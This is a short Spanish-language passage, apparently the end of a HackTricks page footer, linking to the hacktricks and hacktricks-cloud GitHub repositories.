hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).